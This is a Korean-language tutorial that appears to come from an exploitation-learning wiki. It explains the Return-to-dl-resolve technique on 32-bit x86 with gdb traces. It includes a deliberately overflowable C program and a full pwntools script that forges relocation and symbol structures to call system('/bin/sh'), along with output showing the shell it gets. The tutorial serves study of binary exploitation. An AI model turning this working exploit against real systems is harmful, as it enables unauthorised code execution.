...
Excuse the ads! We need some help to keep our site up.
List
Table of Contents exclude List
Return-to-dl-resolve - x86
- Return-to-dl-resolve란 프로그램에서 동적라이브러리 함수의 주소를 찾기 위해 Lazy binding 을 사용할 경우 활용이 가능한 기법입니다.
- Return-to-dl-resolve는 Lazy binding 을 악용해 필요한 함수를 호출합니다.
Lazy binding
Flow
- Lazy binding을 위해 다음과 같이 함수가 호출됩니다.
- _dl_runtime_resolve() → _dl_fixup() → _dl_lookup_symbol_x() → do_lookup_x()→ check_match()
Source code - struct
- Elf32_Rel 구조체는 재배치 테이블 항목을 저장합니다.
...
Info |
---|
Source code
- _dl_runtime_resolve() 함수는 다음과 같이 동작합니다.
- _dl_fixup() 함수에 전달된 인자 값을 레지스터에 저장 후 _dl_fixup() 함수를 호출합니다.
- _dl_fixup() 함수에 전달되는 인자 값은 2개 입니다.
- struct link_map *
reloc_arg
...
Panel | ||
---|---|---|
| ||
Debug
- 해당 프로그램에서는 main() 함수에서 write() 함수를 처음 호출하게됩니다.
- 디버깅을 위해 0x8048320 영역에 Break point를 설정합니다.
...
Panel | ||
---|---|---|
| ||
_dl_runtime_resolve()
_dl_runtime_resolve() 함수에서는 다음과 같이 동작합니다.
eax,ecx,edx에 저장된 값을 Stack에 저장합니다.
eax 레지스터에는 _dl_fixup() 함수의 첫번째 인자 값(0xb7fff918)을 저장합니다.
edx 레지스터에는 _dl_fixup() 함수의 두번째 인자 값(0x10)을 저장합니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ b *0xb7ff0020 Breakpoint 3 at 0xb7ff0020: file ../sysdeps/i386/dl-trampoline.S, line 35. gdb-peda$ c Continuing. gdb-peda$ disassemble _dl_runtime_resolve Dump of assembler code for function _dl_runtime_resolve: 0xb7ff0000 <+0>: push eax 0xb7ff0001 <+1>: push ecx 0xb7ff0002 <+2>: push edx 0xb7ff0003 <+3>: mov edx,DWORD PTR [esp+0x10] 0xb7ff0007 <+7>: mov eax,DWORD PTR [esp+0xc] 0xb7ff000b <+11>: call 0xb7fe97e0 <_dl_fixup> 0xb7ff0010 <+16>: pop edx 0xb7ff0011 <+17>: mov ecx,DWORD PTR [esp] 0xb7ff0014 <+20>: mov DWORD PTR [esp],eax 0xb7ff0017 <+23>: mov eax,DWORD PTR [esp+0x4] 0xb7ff001b <+27>: ret 0xc End of assembler dump. gdb-peda$ b *0xb7ff002b Breakpoint 4 at 0xb7ff002b: file ../sysdeps/i386/dl-trampoline.S, line 43. gdb-peda$ c Continuing. Breakpoint 4, _dl_runtime_resolve () at ../sysdeps/i386/dl-trampoline.S:43 43 in ../sysdeps/i386/dl-trampoline.S gdb-peda$ i r edx edx 0x10 0x10 gdb-peda$ i r eax eax 0xb7fff918 0xb7fff918 gdb-peda$ |
_dl_fixup()
- 해당 코드에 의해 edx 레지스터에 Elf32_Rel 구조체의 주소값이 저장됩니다.
DWORD PTR [ecx+0x4] 영역에 저장된 값은 ".rel.plt" 영역의 시작 주소입니다.
...
Panel | ||
---|---|---|
| ||
_dl_lookup_symbol_x()
다음과 코드에 의해 undef_name에 저장된 값에 대한 hash값을 연산합니다.
undef_name에 저장된 값은 "write"입니다.
dl_new_hash() 함수의 코드 영역은 0xb7fe4a90 ~ 0xb7fe4aa1 까지 입니다.
"write" 문자열에 대한 new_hash 값은 0x10a8b550 입니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ disassemble _dl_lookup_symbol_x Dump of assembler code for function _dl_lookup_symbol_x: ... 0xb7fe4a90 <+48>: mov ecx,ebx 0xb7fe4a92 <+50>: add edx,0x1 0xb7fe4a95 <+53>: shl ecx,0x5 0xb7fe4a98 <+56>: add ebx,ecx 0xb7fe4a9a <+58>: add ebx,eax 0xb7fe4a9c <+60>: movzx eax,BYTE PTR [edx] 0xb7fe4a9f <+63>: test al,al 0xb7fe4aa1 <+65>: jne 0xb7fe4a90 <_dl_lookup_symbol_x+48> ... gdb-peda$ b *0xb7fe4a9a Breakpoint 3 at 0xb7fe4a9a: file dl-lookup.c, line 569. gdb-peda$ c Continuing. Breakpoint 2, 0xb7fe4a9a in dl_new_hash (s=0x804825d "write") at dl-lookup.c:569 569 dl-lookup.c: No such file or directory. gdb-peda$ c Continuing. Breakpoint 2, 0xb7fe4a9a in dl_new_hash (s=0x804825e "rite") at dl-lookup.c:569 569 in dl-lookup.c gdb-peda$ Continuing. Breakpoint 2, 0xb7fe4a9a in dl_new_hash (s=0x804825d "write") at dl-lookup.c:569 569 dl-lookup.c: No such file or directory. gdb-peda$ Continuing. Breakpoint 2, 0xb7fe4a9a in dl_new_hash (s=0x804825e "rite") at dl-lookup.c:569 569 in dl-lookup.c gdb-peda$ Continuing. Breakpoint 2, 0xb7fe4a9a in dl_new_hash (s=0x8048261 "e") at dl-lookup.c:569 569 in dl-lookup.c gdb-peda$ ni 568 in dl-lookup.c gdb-peda$ i r ebx ebx 0x10a8b550 0x10a8b550 gdb-peda$ |
do_lookup_x()
다음 영역에서 "new_hash % map→l_nbuckets" 연산 결과를 확인 할 수 있습니다.
0xb7fe45a0영역에 Break point를 설정합니다.
- div 명령어에 의해 연산된 나머지 값을 저장하기 위해 xor명령어를 이용해 edx 레지스터의 값을 초기화 합니다.
- 나누기 대상인 new_hash(0x10a8b550) 를 eax 레지스터에 저장합니다.
- div 명령어를 이용하여 eax에 저장된 값과 esp + 0x18에 저장된 map→l_nbuckets(0x000003f3) 값을 나눕니다.
- 해당 값을 나누어 얻은 몫(0x437e2)은 eax에 저장되며, 나머지 값(0x3ca)은 edx에 저장됩니다.
...
Info | ||
---|---|---|
| ||
Proof of concept
Example code
Code Block | ||
---|---|---|
| ||
//gcc -fno-stack-protector -o rop rop.c #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> void vuln(){ char buf[50]; read(0, buf, 512); } void main(){ write(1,"Hello ROP\n",10); vuln(); } |
Overflow
- 다음과 같이 Breakpoints를 설정합니다.
0x0804843b : vuln 함수 코드 첫부분
0x0804844f : read() 함수 호출 전
...
Code Block | ||
---|---|---|
| ||
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/dl_resolve/rop Hello ROP Breakpoint 1, 0x0804843b in vuln () gdb-peda$ i r esp esp 0xbffff5cc 0xbffff5cc gdb-peda$ c Continuing. Breakpoint 2, 0x0804844f in vuln () gdb-peda$ x/3wx $esp 0xbffff570: 0x00000000 0xbffff58e 0x00000200 gdb-peda$ p/d 0xbffff5cc - 0xbffff58e $1 = 62 gdb-peda$ |
Exploit method
- ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
...
Panel | ||
---|---|---|
| ||
|
Find Section Headers
- 다음과 같은 방식을 Section Headers를 찾을 수 있습니다.
...
Code Block | ||
---|---|---|
| ||
from pwn import * from struct import * elf = ELF('./rop') # get section address addr_dynsym = elf.get_section_by_name('.dynsym').header['sh_addr'] addr_dynstr = elf.get_section_by_name('.dynstr').header['sh_addr'] addr_relplt = elf.get_section_by_name('.rel.plt').header['sh_addr'] addr_plt = elf.get_section_by_name('.plt').header['sh_addr'] addr_bss = elf.get_section_by_name('.bss').header['sh_addr'] addr_plt_read = elf.plt['read'] addr_got_read = elf.got['read'] log.info('Section Headers') log.info('.dynsym : ' + hex(addr_dynsym)) log.info('.dynstr : ' + hex(addr_dynstr)) log.info('.rel.plt : ' + hex(addr_relplt)) log.info('.plt : ' + hex(addr_plt)) log.info('.bss : ' + hex(addr_bss)) log.info('read@plt : ' + hex(addr_plt_read)) log.info('read@got : ' + hex(addr_got_read)) |
FAKE reloc_arg, Fake Elf32_Rel, Fake Elf32_Sym
다음과 같이 Fake 정보 영역을 확보합니다.
addr_fake_reloc 영역은 base_stage + 20 에 위치합니다.
- base_stage ~ base_stage + 20 영역에는 addr_plt, fake_reloc_offset, tmp date, addr_fake_cmd,등의 정보가 저장됩니다.
- addr_fake_sym 영역은 addr_fake_reloc 에 Elf32_Rel 구조체 크기(8)을 더한 곳에 위치 합니다.
addr_fake_symstr 영역은 addr_fake_sym 에서 Elf32_Sym 구조체 크기(16)를 더한 곳에 위치 합니다.
addr_fake_cmd 영역은 addr_fake_symstr 에서 문자열 "system\x00"(7)을 더한 곳에 위치 합니다.
- 다음과 같이 Fake Elf32_Rel, Fake Elf32_Sym에 필요한 정보를 생성합니다.
- addr_fake_reloc 값에서 addr_relplt 값을 빼서 fake_reloc_offset 값을 생성합니다.
fake_r_info 값은 다음과 같이 생성합니다.
- addr_fake_sym 값에서 addr_dynsym 값을 뺀값에 구조체의 크기(16)를 곱합니다.
- ELF32_R_TYPE 영역을 초기화 하기 위해 해당 값에 ~0xFF(-256)를 AND 연산합니다.
- ELF32_R_TYPE 값을 저장하기 위해 OR 연산을 이용하여 해당 영역에 0x7을 저장합니다.
- addr_fake_symstr 값에서 addr_dynstr 값을 빼서 fake_st_name 값을 생성합니다.
- addr_fake_reloc 값에서 addr_relplt 값을 빼서 fake_reloc_offset 값을 생성합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
stack_size = 0x300 base_stage = addr_bss + stack_size addr_fake_reloc = base_stage + 20 addr_fake_sym = addr_fake_reloc + 8 addr_fake_symstr = addr_fake_sym +16 addr_fake_cmd = addr_fake_symstr +7 fake_reloc_offset = addr_fake_reloc - addr_relplt fake_r_info = ((addr_fake_sym - addr_dynsym) * 16) & ~0xFF #FAKE ELF32_R_SYM fake_r_info = fake_r_info | 0x7 #FAKE ELF32_R_TYPE fake_st_name = addr_fake_symstr - addr_dynstr |
Move to ".bss"(Change the value of the esp register)
- vuln()함수의 취약성을 이용해 ".bss" 영역에 2번째 ROP코드를 저장한 후에 ".bss" 영역으로 이동하기 위해 다음과 같은 ROP코드를 작성합니다.
- "pop ebp; ret" Gadget을 이용하여 base_stage 값을 ebp 레지스터에 저장합니다.
- "leave; ret" Gadget을 이용해 코드의 흐름을 Stack 영역에서 ".bss" 영역으로 변경됩니다.
- "leave; " 명령어에 의해 ebp 레지스터에 저장된 값을 esp에 저장됩니다.
- "ret;" 명령어에 의해 rsp 레지스터에 저장된 주소(Gadbase_stage + 0x4)로 이동합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
#read(0,base_stage,100) #jmp base_stage buf1 = 'A'* 62 buf1 += p32(addr_plt_read) buf1 += p32(addr_pop3) buf1 += p32(0) buf1 += p32(base_stage) buf1 += p32(100) buf1 += p32(addr_pop_ebp) buf1 += p32(base_stage) buf1 += p32(addr_leave_ret) |
Return-to-dl-resolve
- ".bss" 영역에 다음과 같이 Data를 저장합니다.
Code Block | ||||
---|---|---|---|---|
| ||||
buf2 = 'AAAA' buf2 += p32(addr_plt) buf2 += p32(fake_reloc_offset) buf2 += 'BBBB' #Argument of the function buf2 += p32(addr_fake_cmd) #Fake Elf32_Rel buf2 += p32(addr_got_read) buf2 += p32(fake_r_info) #Fake Elf32_Sym buf2 += p32(fake_st_name) buf2 += p32(0) buf2 += p32(0) buf2 += p32(0x12) #String "system" buf2 += 'system\x00' #String "/bin/sh" buf2 += '/bin/sh\x00' |
Exploit code
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import * from struct import * #context.log_level = 'debug' elf = ELF('./rop') # get section address addr_dynsym = elf.get_section_by_name('.dynsym').header['sh_addr'] addr_dynstr = elf.get_section_by_name('.dynstr').header['sh_addr'] addr_relplt = elf.get_section_by_name('.rel.plt').header['sh_addr'] addr_plt = elf.get_section_by_name('.plt').header['sh_addr'] addr_bss = elf.get_section_by_name('.bss').header['sh_addr'] addr_plt_read = elf.plt['read'] addr_got_read = elf.got['read'] log.info('Section Headers') log.info('.dynsym : ' + hex(addr_dynsym)) log.info('.dynstr : ' + hex(addr_dynstr)) log.info('.rel.plt : ' + hex(addr_relplt)) log.info('.plt : ' + hex(addr_plt)) log.info('.bss : ' + hex(addr_bss)) log.info('read@plt : ' + hex(addr_plt_read)) log.info('read@got : ' + hex(addr_got_read)) addr_pop3 = 0x080484e9 addr_pop_ebp = 0x080484eb addr_leave_ret = 0x080483a8 stack_size = 0x300 base_stage = addr_bss + stack_size #read(0,base_stage,100) #jmp base_stage buf1 = 'A'* 62 buf1 += p32(addr_plt_read) buf1 += p32(addr_pop3) buf1 += p32(0) buf1 += p32(base_stage) buf1 += p32(100) buf1 += p32(addr_pop_ebp) buf1 += p32(base_stage) buf1 += p32(addr_leave_ret) addr_fake_reloc = base_stage + 20 addr_fake_sym = addr_fake_reloc + 8 addr_fake_symstr = addr_fake_sym +16 addr_fake_cmd = addr_fake_symstr +7 fake_reloc_offset = addr_fake_reloc - addr_relplt fake_r_info = ((addr_fake_sym - addr_dynsym) * 16) & ~0xFF #FAKE ELF32_R_SYM fake_r_info = fake_r_info | 0x7 #FAKE ELF32_R_TYPE fake_st_name = addr_fake_symstr - addr_dynstr log.info('') log.info('Fake Struct Information') log.info('fake_reloc_offset : ' + hex(fake_reloc_offset)) log.info('addr_fake_cmd : ' + hex(addr_fake_cmd)) log.info('addr_got_read : ' + hex(addr_got_read)) log.info('fake_r_info : ' + hex(fake_r_info)) log.info('fake_st_name : ' + hex(fake_st_name)) #_dl_runtime_resolve(struct link_map *l, fake_reloc_arg) buf2 = 'AAAA' buf2 += p32(addr_plt) buf2 += p32(fake_reloc_offset) buf2 += 'BBBB' #Argument of the function buf2 += p32(addr_fake_cmd) #Fake Elf32_Rel buf2 += p32(addr_got_read) buf2 += p32(fake_r_info) #Fake Elf32_Sym buf2 += p32(fake_st_name) buf2 += p32(0) buf2 += p32(0) buf2 += p32(0x12) #String "system" buf2 += 'system\x00' #String "/bin/sh" buf2 += '/bin/sh\x00' binary = ELF(elf.path) p = process(binary.path) p.recvn(10) p.send(buf1) p.send(buf2) p.interactive() |
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Exploit/dl_resolve$ python exploit.py [!] Pwntools does not support 32-bit Python. Use a 64-bit release. [*] Checking for new versions of pwntools To disable this functionality, set the contents of /home/lazenca0x0/.pwntools-cache/update to 'never'. [*] You have the latest version of Pwntools (3.12.2) [*] '/home/lazenca0x0/Exploit/dl_resolve/rop' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [*] Section Headers [*] .dynsym : 0x80481cc [*] .dynstr : 0x804822c [*] .rel.plt : 0x80482b0 [*] .plt : 0x80482f0 [*] .bss : 0x804a020 [*] read@plt : 0x8048300 [*] read@got : 0x804a00c [*] [*] Fake Struct Information [*] fake_reloc_offset : 0x2084 [*] addr_fake_cmd : 0x804a353 [*] addr_got_read : 0x804a00c [*] fake_r_info : 0x21707 [*] fake_st_name : 0x2120 [+] Starting local process '/home/lazenca0x0/Exploit/dl_resolve/rop': pid 12887 [*] Switching to interactive mode $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ |
References
- http://phrack.org/issues/58/4.html#article
- http://inaz2.hatenablog.com/entry/2014/07/15/023406
- http://rk700.github.io/2015/08/09/return-to-dl-resolve/
- https://gist.github.com/icchy/1b702fc56ec37844f711
- https://www.slideshare.net/AngelBoy1/re2dlresolve?ref=http://angelboy.logdown.com/posts/283218-return-to-dl-resolve
- https://veritas501.space/2017/10/07/ret2dl_resolve%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/
- https://www.da.vidbuchanan.co.uk/blog/0CTF-2018-babystack-ret2dlresolve.html
- http://www.inforsec.org/wp/?p=389
- https://www.usenix.org/sites/default/files/conference/protected-files/sec15_slides_difederico.pdf
- https://blog.csdn.net/conansonic/article/details/54634142
- http://inaz2.hatenablog.com/entry/2014/07/20/161106
...